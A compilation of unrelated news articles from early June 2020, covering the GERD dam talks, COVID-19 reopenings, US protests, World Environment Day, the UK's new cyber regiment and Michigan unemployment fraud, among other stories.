The search for PFAS replacements stems from 2006, according to the authors, when the EPA and leading PFAS manufacturers and users negotiated a voluntary PFOA Stewardship Program in which the companies agreed to work toward the elimination of those compounds by 2015.

Numerous companies began looking for substitutes, which are treated as confidential trade secrets. So environmental chemists began their search to identify the new compounds.

With little known about the safety of the compounds, the researchers believe more studies are needed to search for them in water used for crops and drinking, and in animals and humans. In light of these findings," the report said, "numerous near-term pressing uncertainties merit investigation.
CAIRO  Since the prime ministers of Egypt, Sudan and Ethiopia agreed May 21 to resume technical negotiations to look into a consensual formula to resolve the dispute over water storage and operation of the Grand Ethiopian Renaissance Dam (GERD), the technical committees of the three countries have started arrangements to agree on an agenda and meeting date. But no results have been reached yet. Meanwhile, anticipation is rising, and there is increased caution about potential consensual solutions, with Ethiopias insistence on beginning the filling of the dam in July.

Egypts Ministry of Foreign Affairs had set a condition in a press statement May 21 that technical meetings shall resume based on the outcome of the Washington negotiations in February and shall be limited to agreement on the pending issues in the operation and filling of the GERD. The ministry underlined the importance of the seriousness and constructiveness of the scheduled meeting and of reaching a fair, comprehensive and balanced agreement.

The negotiations between the ministers of foreign affairs and water of Egypt, Sudan and Ethiopia took place from November 2019 to February under the political and technical patronage of the World Bank and the United States. They reached a comprehensive agreement formula that included specific rules to fill and operate the GERD and measures to face the drought, extended drought and years of scarcity. They also agreed on a coordination mechanism and a binding mechanism to resolve conflicts, and discussed the safety of the GERD and the completion of environmental studies. Egypt has initialed the agreement drafted by the United States and the World Bank, while Ethiopia refused it and withdrew. Meanwhile, Sudan postponed its signature until the three countries agree on all the terms  but there was no official announcement on its stance.

Ever since the Washington negotiations failed due to Ethiopias withdrawal, the Egyptian Ministry of Foreign Affairs has been calling for putting the agreement reached in Washington to fill the GERD on hold until a comprehensive formula that specifies the rules of operating and filling the dam is ratified. Ethiopia tried to pass the first filling process of the dam to be able to conduct the pilot operation of the turbines and power generation by proposing a partial agreement with Egypt and Sudan in mid-March, but both countries refused to sign said agreement.

A well-informed government official on the Nile water issue told Al-Monitor on condition of anonymity, Egypts return to the negotiation table confirms its stance to seek a fair and balanced solution that serves all parties. Egypt has been calling on Ethiopia to return to the negotiations and respect the outcomes of the Washington meetings, ever since its sudden withdrawal from them on Feb. 28. The diplomatic escalation and moves were a normal reaction to the Ethiopian obstinacy and unilateral decisions to fill the dam reservoir without signing the agreement.

The source added, The agenda of the technical meetings is still being deliberated between technical experts and water ministers in the three countries.

Egypts return to the negotiations has been faced with intense caution and fear from observers of the Nile water issue in Egypt. Technical, political and legal experts voiced their fears on social media about Ethiopia taking advantage of Egypt and Sudans agreement to return to the negotiations to gain time. They think Ethiopia is trying to put the two countries in front of a reality by starting to fill the dam in July and ensuring there is no diplomatic escalation against it.

Mousaed Abdul Aty, professor of international law at Cairo university, told Al-Monitor, It is no use returning to the negotiations in a strictly technical manner as Ethiopia continues its preparations to begin filling the dam reservoir in July. For the negotiations to succeed, the only condition is to halt any activities to fill the reservoir until the pending technical issue is resolved and a comprehensive filling and operation agreement is signed.

Abdul Aty stressed the need to have a clear and binding time frame for any upcoming negotiations, since more than five years have been lost on repeated meetings that did not achieve any of their goals since the signing of the Declaration of Principles in March 2015.

Sudanese international law expert Ahmed al-Mufti wrote on his Facebook page May 21, The Sudanese negotiation delegation demands clear conditions before engaging in technical talks with Ethiopia once again, including Ethiopias commitment to halt construction operations of the dam and the expected filling plan in July, until a final comprehensive agreement is signed between the three countries to control storage and filling operations.

He continued, If Ethiopia does not commit to the agreement, any new technical talks will be useless. They will just squander Sudans rights and give Ethiopia more time to continue its construction operations of the dam and start filling it without international objection.

Although Sudan mediated a resumption of negotiations between Egypt and Ethiopia, Sudanese Minister of Foreign Affairs Asmaa Mohammed Abdullah sent a letter to the UN Security Council on June 2, explaining Sudans stance. He said his country has been following the principle of goodwill since the beginning of the crisis, and has abided by the UN Convention on the Law of the Non-Navigational Uses of International Watercourses, which stipulates the fair and equitable use of water without causing dire risks to other countries, in addition to the peaceful resolution of conflicts.

Abdullah further called on the Security Council to prevent the disputing parties from taking unilateral measures that jeopardize international and regional peace and security.

Commenting on Sudans letter to the Security Council, Sudanese Minister of Irrigation and Water Resources Yasser Abbas reassured in a June 2 statement to the Sudanese news agency that the letter was not an escalation against any negotiating party and did not side with any party either. It was just a confirmation of Sudans right.

The letter to the Security Council came amid political escalation between Ethiopia and Sudan due to the border conflict. On May 28, Sudanese army spokesman Amer Mohammad al-Hassan warned of a full-blown war with Ethiopia after Ethiopian militias tried to take water from Atbarah River and plant Sudanese lands without Khartoums approval. Clashes erupted, killing a Sudanese officer and injuring six others.

Before announcing the agreement on the resumption of negotiations, the Ethiopian ministers of water and foreign affairs had met with political party delegates May 28, to reiterate Ethiopias sovereign stances to continue building and filling the dam. Minister of Water Seleshi Bekele said, Egypt is leaning toward invoking its so-called historical rights to water, which Ethiopia cannot accept.

The resumption of technical negotiations will succeed or fail depending on the speed of the ministers of water in deciding on an effective agenda for the unresolved issues, despite the ongoing political tensions between the three countries.
Hong Kong: 6 COVID-19 cases reported

The Centre for Health Protection today said it is investigating six additional confirmed COVID-19 cases, of which one is a locally transmitted case involving a 72-year-old man who lives in Luk Chuen House in Lek Yuen Estate, Sha Tin.

This local case brings the number of people infected in the same residential block to seven.

The centre urged all residents in Luk Chuen House to be tested for COVID-19.

The man had tested negative for the virus on June 1. He then developed fever on June 3 and was sent to the Prince of Wales Hospital this morning where he tested positive for the virus.

The remaining five additional cases are imported ones. They returned to Hong Kong from Bangladesh on June 3.

There are 1,099 confirmed cases in Hong Kong so far.

Additionally, the Hospital Authority reported that 48 confirmed COVID-19 patients are currently hospitalised and 1,042 confirmed and suspected patients have been discharged.

For information and health advice on COVID-19, visit the Government's dedicated webpage.

This story has been published on: 2020-06-05. To contact the author, please use the contact details within the article.
A lot of Ukrainians who worked abroad will not be able to return to Europe, as there already is an excess of the workforce

Open source

The pandemic of coronavirus and the return of labor migrants from Europe have drastically changed the situation on Ukraine's labor market.

According to the State Employment Service, the number of officially registered unemployed people exceeded 500,000. That's 50 percent more than in 2019. And the forecasts don't look good.

The experts assume that even after the quarantine restrictions are off and the enterprises get back to work, the unemployment level wil remain high, Channel 5 reports.

According to the experts, a lot of Ukrainians who worked abroad will not be able to return to Europe, as there already is an excess of the workforce. That means that job competitiveness in Ukrainian enterprises will grow.

According to Mykhailo Demkiv, the financial analyst of the ICU group, part of these people will not be able to got abroad, and some will just be afraid to search for a job.

Otther countries also suffer from high unemployment rate. According to the International Organization of Labor, about 1.5 billion people could suffer due to the consequences of the pandemic.
A white police officer has been filmed comforting a tearful black five-year-old girl after she asked if she was going to be shot during a George Floyd protest in Houston.

Simone Bartee, aged five, attended the protests in Houston over the death of George Floyd with her parents on Saturday.

She started to cry, thinking cops were going to shoot her, but one officer put her at ease with some comforting words.

Her father Simeon posted the video on Twitter Wednesday where it was shared 17k times and received 70k likes.

The girl's father wrote: 'During the protest in Houston yesterday one of the police officers noticed my daughter crying.

'She asked him Are you gonna shoot us he got down on one knee wrapped his arm around her and responded:'

During the protest in Houston on Saturday one of the police officers noticed Simone Bartee, aged five, crying and wrapped his arm around her to comfort her

The officer tells her: 'We're here to protect you, okay. We're not here to hurt you at all. You can protest, you can party, you can do whatever you want'

The officer tells her: 'We're here to protect you, okay. We're not here to hurt you at all.

'You can protest, you can party, you can do whatever you want.

'Just don't break nothing,' he added.

Saturday was Houston's second day of protests over the death of 46-year-old Floyd who had a cardiac arrest when a white Minneapolis cop knelt on his neck for eight minutes.

Houston Mayor Sylvester Turner reported that protests were '98 per cent peaceful' and thanked cops for exercising restraint and the public for keeping the peace.

There were 278 arrests but most were for blocking roads and around a dozen for burglary. Three arrests involved possession of a firearm.
Protect the environment, prevent pandemics, nature is sending us a clear message: UN

June 05,2020 | Source: UN News

On this years World Environment Day, celebrated on June 5, the United Nations is drawing links between the health of the planet, and human health, and highlighting the importance of protecting biodiversity, the system that supports life.



At least 70 per cent of emerging infectious diseases such as COVID-19, are crossing from the wild, to people, and transformative actions are urgently required to protect environment and human rights. This was the message from David Boyd, the independent UN Special Rapporteur on human rights and the environment, ahead of this years Day.



Mr. Boyd added that countries should take urgent action to protect the environment and stop climate disruption, biodiversity loss, toxic pollution and diseases that jump from animals to humans.



UN chief Antonio Guterres said in his message that nature is sending us a clear message. We are harming the natural world, to our own detriment.



He noted that habitat degradation and biodiversity loss were accelerating, climate disruption is getting worseTo care for humanity, we must care for nature.



Since World Environment Day was launched in 1974, it has grown to become the UNs biggest annual event, advocating for environmental action and raising worldwide awareness of the need to increase protection for the planets long-term survival.



The 2020 edition, which has the tagline Time for Nature, is being hosted by Colombia, which is organizing several events, streamed live, which can be accessed here, or on social media. The theme is biodiversity protection, at a time when one million animal and plant species are believed to be on the brink of extinction.



This years Day inevitably references the global COVID-19 health crisis, noting that, with the population doubling over the past 50 years, and the global economy growing fourfold over the same period, the delicate balance of nature has been disrupted, creating ideal conditions for pathogens, such as COVID-19, to spread.



As countries open up, and governments approve stimulus packages to support job creation, poverty reduction, development and economic growth, the UN Environment Programme (UNEP), is urging them to build back better.



This involves capturing opportunities for green investment  such as renewable energy, smart housing, green public procurement, and public transport  guided by the principles and standards of sustainable production and consumption.



A failure to do so, warns UNEP, and an attempted return to business as usual, risks seeing inequalities rising even further, and a worsening of the degradation of the planet, at a time when one million animal and plant species are on the brink of extinction.

 United Nations

Theme(s): Others.
Source: Xinhua| 2020-06-06 06:11:01|Editor: huaxia

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ROME, June 5 (Xinhua) -- United Nations Food and Agriculture Organization (FAO) and a string of European countries Friday marked World Environment Day, calling for steps to make the world more resilient as it emerges from the coronavirus pandemic.

"BETTER NATURE, BETTER HUMAN HEALTH"

Qu Dongyu, director-general of the Rome-based United Nations Food and Agriculture Organization (FAO), speaking at a virtual World Environment Day event, said protecting the environment leads to better health outcomes.

"Biodiversity provides the necessary infrastructure that supports life on earth," Qu said. "We have to build up biodiversity. We now have an excellent opportunity to rethink the relationship between humans, animals, and the environment."

"Better nature means better human health," Qu concluded.

At FAO, the day was marked with a focus on biodiversity and a special "virtual" event.

"We are focused on the big global problem of the day, which is the coronavirus pandemic," Berhe Tekola, the director of FAO's Animal Health and Production Division, told Xinhua.

"But by protecting biodiversity, by advising people in poor countries on how they can eat more safely and how they can avoid environmental damage," Tekola said, "we can have better health outcomes, and the world would be safer from some of the contagions that cause certain kinds of disease."

"LONG-SIGHTED POLICIES" NEEDED

Sergio Mattarella, Italy's president, made a similar point on the occasion of World Environment Day, themed "Time for Nature" this year.

"The dramatic events that have recently touched the whole of our planet demand that we acknowledge the essential link between the equilibrium of nature and our survival," he said.

"To emerge from the difficulties that we are faced with today, we have an extreme need for research and for long-sighted policies that can imagine and render accessible a near future of sustainable prosperity," the president continued.

Albanian President Ilir Meta also appealed for more efforts on environmental protection. Via a Twitter post, Meta said that no one should allow mismanagement of urban waste and air pollution to damage citizens' lives.

"Albania lacks nothing to be the 'diamond' of the Mediterranean and Europe," Meta said, calling for everyone's contribution in protecting the country's nature.

In neighboring North Macedonia, the government also reaffirmed commitment to preserved biodiversity.

"North Macedonia abounds with natural rarities and is fortunate to be endowed with rich biodiversity, but at the same time, it is our duty to preserve it," the government said in a statement.

GREEK GOV'T PITCHES E-MOBILITY

To mark World Environment Day, Greek Prime Minister Kyriakos Mitsotakis presented a plan for promoting electromobility. The target is for one in three new vehicles in the country to be electric by 2030.

Under the plan, the state would offer financial incentives for switching to electric vehicles. The incentives would cover about 25 percent of the cost for about 14,000 new electric cars, Mitsotakis said.

He said the funds allocated for this purpose would reach 100 million euros (113 million U.S. dollars) over 18 months.

Electric cars would also be exempt from parking fees for two years, and charging costs would be deductible from taxable income, the Greek leader said.

The government also aims to increase the number of electric buses on Greek roads. In an upcoming tender for new buses to be used in public transportation in Athens and Thessaloniki, a significant percentage would have to be electric vehicles. Enditem
Armed Forces announce launch of first Cyber Regiment in major modernisation

A new Cyber Regiment has been launched to protect frontline operations from digital attack as Defence continues its modernisation to combat the threats of tomorrow, Defence Secretary Ben Wallace today announces.

4 June 2020

The Ministry of Defence has launched 13th Signal Regiment, the UK Armed Forces' first dedicated Cyber Regiment, which will protect vital defence networks at home and on operations overseas.

The unit was formally stood up on Monday, June 1, at a ceremony at Blandford, home of the Royal Signals.

As the character of warfare evolves, and the weapons used to fight those wars shift from the industrial to the information age, digital and cyber capabilities are increasingly relied upon to ensure the nation's security and the safety of our personnel overseas.

Our adversaries and hostile actors are operating in cyberspace right now, creating a new cyber frontline  alongside the traditional domains of Land, Sea and Air  without physical borders but also needing to be defended,

Secure communications are the foundation for any successful operation and 13th Signal Regiment will provide 'digital armour' around personnel operating overseas, giving commanders and their soldiers the ability to operate with confidence in their communications systems, often while working in challenging conditions.

Defence Secretary Ben Wallace said:

This is a step-change in the modernisation of the UK Armed Forces for information warfare. Cyber-attacks are every bit as deadly as those faced on the physical battlefield, so we must prepare to defend ourselves from all those who would do us harm and 13th Signal Regiment is a vital addition to that defence.

The 13th Signal Regiment is a regiment of the British Army within 1st (UK) Signal Brigade, under the command of 6th (UK) Division, responsible for conducting information manoeuvre and unconventional warfare, in support of the whole Armed Forces.

The specialist unit will provide the basis of the new Army Cyber Information Security Operations Centre, focusing on the protection of Defence's cyber domain, and it will work with the Royal Navy and Royal Air Force to provide secure networks for all military communications.

And ensuring that UK defensive cyber capabilities remain ahead of adversaries and aggressors, 13th Signal Regiment will also provide specialist technical support for a hub to test and implement next generation information capabilities.

Based at multiple key locations around a Headquarters in Blandford, Dorset, 13th Signal Regiment will be built around a core of 250 specialist servicemen and women who possess relevant high-end technical skills.

A number of existing cyber functions are being brought together from across the Army to establish the regiment, with personnel from 15 different cap badges represented in the first intake, plus specialist Royal Navy and RAF personnel.

The regiment will consist of several Cyber Protection Teams as well as technical staff who will secure the cyber domain for troops deployed on military operations.

Chief of the General Staff, General Sir Mark Carleton-Smith said:

13th Signal Regiment is the British Army's brand new cyber regiment  matching cutting edge technology with cyber-fit soldiers to compete and win in the Information Age.

13th Signal Regiment previously existed during WW2 as 1st Special Wireless Group, and helped to pioneer the use of wireless technology and high frequency wireless radios.

Renamed 13th (Radio) Signal Regiment in 1959, it had operators stationed in Berlin throughout the Cold War. The unit was disbanded in 1994, when its role in Germany was no longer required.

The new Cyber Regiment will take on the 13th Signal Regiment name and build on its predecessor's proud legacy of innovation and operational excellence.

Brigadier John Collyer, Commander 1st (UK) Signal Brigade, said:

The re-formation of 13th Signal Regiment is an exciting step forward as the Royal Signals, Army and wider Defence rapidly drives up their potency and resilience in the information environment and cyber domain.

The stakes are high and our success is increasingly and critically reliant on focusing our brightest men and women onto the opportunities and risks that underpin our operations  both home and away.

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Linkedin Moch. Fiqih Prawira Adjie (The Jakarta Post) Jakarta  Fri, June 5, 2020 16:52 595 fc6853813033f564188675f8bdc76880 1 City Muslims,Jakarta-administration,Friday-prayer,PSBB,PSBB-Masa-Transisi,transition-period,COVID-19 Free

After months of praying at home, Muslims in Jakarta are now able to perform the first Friday prayers in mosques on Friday following the transitional period in the capital city that starts to ease restrictions in public spaces in the capital city.

Denny Faizal, a 22-year-old university graduate, joined the Friday prayer, a weekly congregational prayer mandatory for Muslim men, in Teladan Mosque in Tebet, South Jakarta. It was his first Friday prayer in a mosque after only performing it at home since mid-March, weeks before the official implementation of the large-scale social restrictions (PSBB) in April amid the social distancing measures taken to curb the spread of COVID-19.

He said the mosque followed the protocols mandated by the city administration, namely body temperature check before entering the premise, assigning the 1-meter distance policy between participants and requiring them to wear a face mask. The congregations must also bring their own prayer mats and a bag to store their footwear. In addition, the sermons given before the prayer was quicker compared to normal times, he said.

Alhamdulillah [thank God], I can perform Friday prayers again. I feel very happy, Denny told The Jakarta Post on Friday.

I hope that we can continue holding Friday prayers in mosques and that the PSBB will be over soon.

Many Jakartans have also shared their experience participating in Friday prayers with the additional physical distancing measure and health protocols trough social media.

Alhamdulillah, this afternoon I performed Friday prayer in congregation at the Masjid Raya Al-Azhar in Sentra Primer, East Jakarta. It was conducted with health protocol to prevent COVID-19 [transmission], such as maintaining physical distance, temperature checking, and requirement to wear a face mask, Twitter user @azzam_satriawan posted on Friday.

Alhamdullilah, tadi siang saya baru saja melaksanakan ibadah Sholat Jumat secara berjamaah di Masjid Raya Al-Azhar, Sentra Primer, Jakarta Timur. Dilakukan protokol kesehatan untuk mencegah Covid-19 seperti menjaga jarak, pengecekan suhu dan wajib memakai masker saat Sholat. pic.twitter.com/QTb6e1nFjP  Muhammad Azzam Satriawan (@azzam_satriawan) June 5, 2020

Earlier, [I participated in] Friday prayer in the Bangka Raya area of [South] Jakarta. My temperature was checked when I entered the mosque and I was given a plastic bag to carry my footwear, another Twitter user @naavyyk posted on Friday.

Tadi sholat jumat di wilayah Bangka Raya Jakarta, masuk halaman masjid dicek suhu dan diberi kantong plastik buat bungkus alas kaki pic.twitter.com/mQTYSxvh59  navy' fanani (@naavyyk) June 5, 2020

President Joko Jokowi Widodo also performed the prayer in the Baiturrahim mosque situated in the presidential palace complex.

Kompas.com also reported that Governor Anies Baswedan performed Friday prayer in the Fatahillah mosque located in the City Hall compound.

Read also: Jakarta takes risk of rebound by moving to transitional restrictions

Some mosques in the city such as Al Azhar Mosque in South Jakarta were also packed with congregations, among them was former Vice President Jusuf Kalla who is also the chairman of the Indonesian Mosque Council (DMI), as reported by Tempo.co.

To prevent overcrowding in mosques during the weekly prayer, the Indonesian Ulema Council (MUI) had issued a fatwa allowing the prayer to be conducted in turns in two groups, rather than the usual simultaneous prayer at noon.

Besides mosques, the Jakarta Administration has also allowed other houses of worship to operate during the transition phase.

The Jakarta archdiocese, for example, had been gearing up to open its churches by preparing a new worship protocol following the Religious Affairs Ministers announcement that houses of worship would be gradually reopened.

We are making sure that our parishes are ready to follow the worship protocol, Jakarta archdiocese secretary Adi Prajoso said in a letter issued on Wednesday.

When the new protocol and our parishes are ready, we will gradually open the church.
Amid Centres nod to reopen religious places from June 8, the spade work has also begun to resume pilgrimage to the world famous Vaishno Devi Shrine nestled amidst Trikuta hills in Reasi district of Jammu and Kashmir.

However, unlike other shrines like Tirumala Tirupati Devasthanams, which are re-opening on June 8, pilgrimage to Shri Mata Vaishno Devi may take a little longer up to the second week of June.

Sanitisation drives are being conducted on twin tracks, sanctum sanctorum and at Katra town. Circles are also being marked outside the Yatra Parchi (token) counter at the Bhawan and the two helipads at Katra and Sanji Chhat to ensure social distancing. However, final call on the resumption of Yatra may take a day or two, said official sources.

They said that the famous pilgrimage may not resume from June 8.

Also Read: Amarnath Yatra: Special religious ceremony to be performed in Jammu on Friday

SOPs are yet to be finalized and a decision on it is likely at the State Administrative Council meeting, going to be chaired by the lieutenant governor GC Murmu on Saturday. The call of suspending the Yatra on March 18 due to Covid had also come from the administration, they added.

Shrine officials also said that circles have been marked on gate number 1, 2 and 3 at the sanctum sanctorum and white-washing has also been sped up.

It has also been learnt that initially local pilgrims will be allowed to visit the cave shrine.

The pilgrimage remains suspended since March 18 and its very depressing to see deserted sanctum sanctorum, twin tracks and Katra town. But we eagerly look forward to the pilgrims, who are also waiting anxiously to pay obeisance at the shrine, said sources.

For Coronavirus Live Updates

Apart from the helicopter service, the shrine board also provides battery car and ropeway services to the pilgrims.

Officials quoted above also said that helicopter companies engaged by the shrine board may hike their fares by 60 percent following the resumption of the pilgrimage.

Earlier, one way fare from Katra to Sanji Chhat was 1,045 and two-way fare cost 2,090, but now it may go up to 1,730 for one way travel and 3,460 for a return trip.

Vaishno Devi cave shrine is situated at an altitude of 5,200 ft in Trikuta Hills of Reasi district, a pilgrimage cum tourist destination that attracted 104.95 lakh pilgrims (10.4 million) in 2012, 93.24 lakh visitors in 2013, 78.03 lakh in 2014, 77.76 lakh in 2015, 77.23 lakh in 2016, 85.87 lakh in 2018 and 79.40 lakh in 2019.

Mata Vaishno Devi is believed to be an embodiment of Goddess Mahakali, Mahalakshmi and Mahasaraswati and is held with utmost reverence by the Shaktas (Devi worshippers). The cave shrine is one of the rare Shakti Peethas.

No decision of annual Chamliyal Mela on Indo-Pak Border

Due to Covid-19 pandemic, uncertainty also looms over the annual Chamliyal Mela held at the Indo-Pak border in Samba district on the last Thursday of the month of June every year.

We are still not clear and await instructions from top authorities, said officials from Samba district administration.

Every year thousands of devotees on either sides of the Indo-Pak International Border participate in the separate fairs at the Hindu shrine of Baba Dalip Singh Manhas, popularly known as Baba Chamliyal.

For the past two years2018 and 2019, Pak Rangers have not participated in the Mela due to escalating tension between the two countries.

On June 12, 2018, Pakistan Rangers had attacked the Chamliyal border outpost killing four BSF personnel, including an assistant commandant.
To the Editor:

Re Tom Cotton: Send In the Troops (Op-Ed, nytimes.com, June 3):

Senator Cotton and I took the same oath when we joined the military. His call for an overwhelming show of force on the American people is not only a violation of the Constitution, but also antithetical to that oath and what our men and women in uniform put their lives on the line to defend every single day.

Our cities and towns are not battle spaces to be dominated. Our fellow citizens should never be treated as enemy combatants on the battlefield. This is not war. These are largely peaceful protests, born out of the pain that far too many in this country feel every single day.

Men and women put on the uniform to defend our communities, our neighbors and our rights as Americans, including the right to protest without retribution. They stand up to tyrants and terrorists, not do their bidding.

Instead of threats or posturing to have our military execute attacks against the very people they serve, we must instead listen to the pain and suffering emanating from the black community. We must support the rights of all our countrymen to peacefully assemble, speak out and have their grievances addressed, and we must act to deliver the social justice and progress they demand and deserve.
Snapchat this week said it would stop promoting Donald Trump on its platform, the latest social media company to change the way it treats the United States president. It was a bold move that came just days after Twitter took an unprecedented stand by hiding a Trump post it said promoted violence. Facebook declined to take any action on the same posts, prompting an employee protest on Monday.

"It was a brave move by Twitter, extremely little, very late, but it was brave," says Roger McNamee, an early investor in Facebook and author of Zucked, a book critical of the tech firm. Trump accused the platforms of "censorship" and limiting "free speech" and signed an executive order in an attempt to stem their power. His critics claimed the president had distorted the interpretation of those terms and is himself seeking to regulate online content.

Trump is at loggerheads with some Silicon Valley giants. Credit:AP

Whichever argument you side with, it is clear that Trump has triggered a new war with Silicon Valley - and that war is set to change the way content is moderated for good. The battle has been years in the making. "Social media firms are being pushed on stringent policies on health misinformation," says Anna-Sophie Harling, managing director at NewsGuard, which provides trust scores for news sources. "And since the 2016 elections, we have seen an increase in their desire to take decisions on defending democracy."

The 2016 US election marked a turning point for social media firms, after the result was blamed on widespread and effective efforts to spread misinformation by Russian state actors. In response, all sites pledged to upgrade their security and safety teams. Facebook now has more than 35,000 people working in moderation in one form or other. The sites also more codified their rules around misinformation and fake news.
Two people were killed when the driver of a minivan suspected of smuggling four illegal immigrants crashed while trying to avoid Border Patrol agents near Douglas on Tuesday evening.

Federal agents later arrested a Maricopa County teenager in connection with the incident on suspicion of human smuggling, according to a criminal complaint filed in federal court in Tucson.

The driver of the minivan, a 17-year-old U.S. citizen, was critically injured in the crash and died later at a local hospital, according to a news release from the Customs and Border Protection. A passenger in the minivan, an illegal immigrant from Mexico, was ejected during the rollover and died in the crash, the CBP said. Their names were not released.

A total of five people were in the minivan when it crashed, the CBP said. Two of the occupants were taken by helicopter to a hospital in Tucson in critical condition. Another person was treated for injuries and released to the Border Patrol.
Tesla Inc. Chief Executive Officer Elon Musk said its time to break up Amazon in a tweet Thursday, escalating a rivalry with Amazon.com Inc. CEO Jeff Bezos, another billionaire investing in space exploration.

Monopolies are wrong, Musk tweeted while tagging Bezos, the worlds wealthiest man. The online retailer is among tech companies being scrutinized by federal regulators and lawmakers for the increasing size and the scope of its business.

Musks post came in response to a tweet from a writer who said his book titled Unreported Truths About COVID-19 and The Lockdown was being removed from Amazons Kindle publishing division for violating unspecified guidelines.

An Amazon spokeswoman said the book was removed in error and is being reinstated. We have notified the author, she said in an email.

Last year, a Space Exploration Technologies Corp. executive said Amazons effort to build a constellation of broadband internet satellites was years behind the closely held company. Musk founded SpaceX eight years before Bezos started rival manufacturer Blue Origin.

With more than 35 million followers, Musk is a prolific tweeter. He has been criticized in the past for his posts on various subjects ranging from the coronavirus outbreak to Teslas stock price.

Now read: The lockdown has changed online shopping in South Africa forever
KYIV -- Hundreds of protesters calling for the resignation of Ukraine's interior minister, Arsen Avakov, have set off smoke bombs and fireworks in front of the parliament in Kyiv.

Avakov, who was inside making a speech on June 5, has come under intense criticism in recent days.

Critics say the minister has failed to rein in police abuses, bring about reform, or promote law and order in the country during his six years in office. But Ukrainian President Volodymyr Zelenskiy has thrown his support behind Avakov, calling him "a really powerful minister."

Demands to sack Avakov from the post he has held since 2014 were sparked by reports about the alleged rape and torture of a woman by police officers in the town of Kaharlyk near Kyiv and a shoot-out between criminal gangs in the Kyiv region in late May.

The demonstrators represented different political groups and parties, including Holos (Voice), a pro-European opposition party founded by popular rock musician Svyatoslav Vakarchuk; the nationalist Praviy Sektor (Right Sector) party; gay rights group Kyiv Pride, as well as individual citizens holding posters, some of which said: "Avakov Is A Syndrome," "Where To Turn When The Police Rapes Me?"

WATCH: Protest Against Ukraine's Interior Minister Causes Chaos Outside Parliament

The rallies were held as Avakov was giving a report about the crimes allegedly committed by police officers and other high-profile cases, which some lawmakers and Avakov's critics say have been poorly investigated.

As Avakov started his testimony in parliament, protesters brought to the site an old Soviet-made UAZ car that was used as a police vehicle across the former Soviet Union until the late 1990s. The demonstrators pelted it with firecrackers, calling the action "a memorial to police reforms."

One of the protesters poured gasoline on his body and set himself on fire but police managed to extinguish the flames right away.

The man, who introduced himself as Yuriy Lyashenko from the southern town of Nova Kakhovka, claimed that he had come to Kyiv to protest what he called the "illegal taking of his property by police."

Hundreds also rallied in the western city of Lviv, demanding Avakov's resignation.
LANSING, MI -- Hundreds of thousands of people in Michigan have had their unemployment accounts flagged and payments interrupted as a massive fraud operation has hit the states unemployment system. During a video call with reporters Friday, Jeff Donofrio, Director of the Michigan Department of Labor and Economic Opportunity revealed an estimated 340,000 Michiganders have had their accounts flagged as the state investigates possible fraud throughout its system.

Unfortunately, many of these are legitimate claimants, whose economic lifeline is now tied up due to this criminal scheme. Our priority continues to be identifying and paying legitimate claimants the benefits they need and deserve, Donofrio said.

The state is unable to say right now how many of those accounts are actually fraudulent or how many people have stopped receiving payments. To determine that, the state assigned 600 employees to investigate flagged accounts full time and is training 200 more employees starting next week. The state is also working with third party firms to improve efficiency and to look over the work to ensure the right people get paid and the criminals are identified for law enforcement.

I want to be clear, our number one priority is to weed out the criminals and pay legitimate Michigan claimants so vulnerable workers continue to get to get the benefits they deserve. We need to disentangle the real Michiganders who are tied up in this criminal scheme, prevent further identity theft and recover stolen benefits, Donofrio said, before adding the state will also prosecute those committing fraud.

Last week, the state confirmed the issue stemmed from scammers using stolen personal information. On Friday, Donofrio said that stolen data may have come well publicized breaches like the Equifax or eBay breaches, but reiterated that state does not believe any data has been stolen from the unemployment system.

By using stolen data, The Office of Inspector General for the U.S. Department of Labor estimates at least $26 billion in unemployment benefits will be stolen by criminals during the pandemic. While its unknown what impact has been made so far, Donofrio said the damage in Michigan could be significant.

Our exposure to potential criminal criminal activity could be in the hundreds of millions of dollars, Donofrio said.

Those whove had their accounts flagged are contacted by the state and asked to submit more information to determine their credibility. However, Donofrio could not give a specific timeframe for how quickly the issues are resolved once a person submits that information. Meaning even if youre able to prove a legitimate claim, you may not see your benefits reinstated right away.

Although the accounts are flagged by a computer program for potential fraud, an actual person must then go in and assess the information provided by the claimant.

The hope here is that using this technology using the data and these third party consultants well be able to identify cases that are lower risk, where there is zero or very very little fraud and be able to make greater judgment calls there, Donofrio said.

The state estimates there are 1.8 million active claims in Michigan that have been paid thus far since the COVID-19 pandemic began.

In the past, the UIA has come under scrutiny for using a computer system that falsely accused legitimate claimants of committing fraud. A state review of the unemployment system in 2017 showed 70% of people flagged for filing fraudulent claims between between Oct. 2013 and Aug. 2015 were incorrectly accused. In many cases, the state fined people or garnished wages after the system incorrectly identified them as having filed a fraudulent claim.

The UIA has made changes in recent years to address those issues but remains embroiled in a related lawsuit.

As part of Fridays announcement, Attorney General Dana Nessel announced the formation of a task force dedicated to investigating fraud in the unemployment system. It will be comprised of members from the The Michigan State Police, The U.S. Department of Labor, Office of Inspector General, The Michigan Department of Labor and Economic Opportunity, The Michigan Department of Management & Budget and The Michigan Department of Treasury.

Im proud to partner with the professionals from these other agencies to address this significant problem, Nessel said in a press release. To steal money from this program intended to support households during a major global crisis is beyond reprehensible.

PREVENTION TIPS

In addition to washing hands regularly and not touching your face, officials recommend practicing social distancing, assuming anyone may be carrying the virus.

Health officials say you should be staying at least 6 feet away from others and working from home, if possible.

Use disinfecting wipes or disinfecting spray cleaners on frequently-touched surfaces in your home (door handles, faucets, countertops) and carry hand sanitizer with you when you go into places like stores.

Michigan Gov. Gretchen Whitmer has also issued an executive order requiring people to wear face coverings over their mouth and nose while inside enclosed, public spaces.

Read all of MLives coverage on the coronavirus at mlive.com/coronavirus.

Additional information is available at Michigan.gov/Coronavirus and CDC.gov/Coronavirus.

READ MORE

Complete coverage at mlive.com/coronavirus
[June 05, 2020] AI in the Homes & Buildings Market 2020-2030: Growth Opportunities, Critical Challenges, Strategic Imperatives

DUBLIN, June 5, 2020 /PRNewswire/ -- The "Artificial Intelligence in the Global Homes & Buildings Industry, Forecast to 2030" report has been added to ResearchAndMarkets.com's offering. Homes & buildings is a technology-driven industry that is witnessing innovation at a rapid pace, especially in Artificial Intelligence (AI) through machine learning and deep learning capabilities. Both leading and emerging participants in this space are strongly competing to secure a customer base and maximise their revenue potential. This study identifies the top AI applications in the homes & buildings industry offering growth opportunities to participants in different verticals and countries. It also highlights the top AI solution providers that contribute more than 95% of the market revenue and the companies to watch (as they have the potential to change the industry dynamics going forward). The publisher estimates the value generated by AI in the homes & buildings industry at $6.08 billion in 2020.



Research Scope



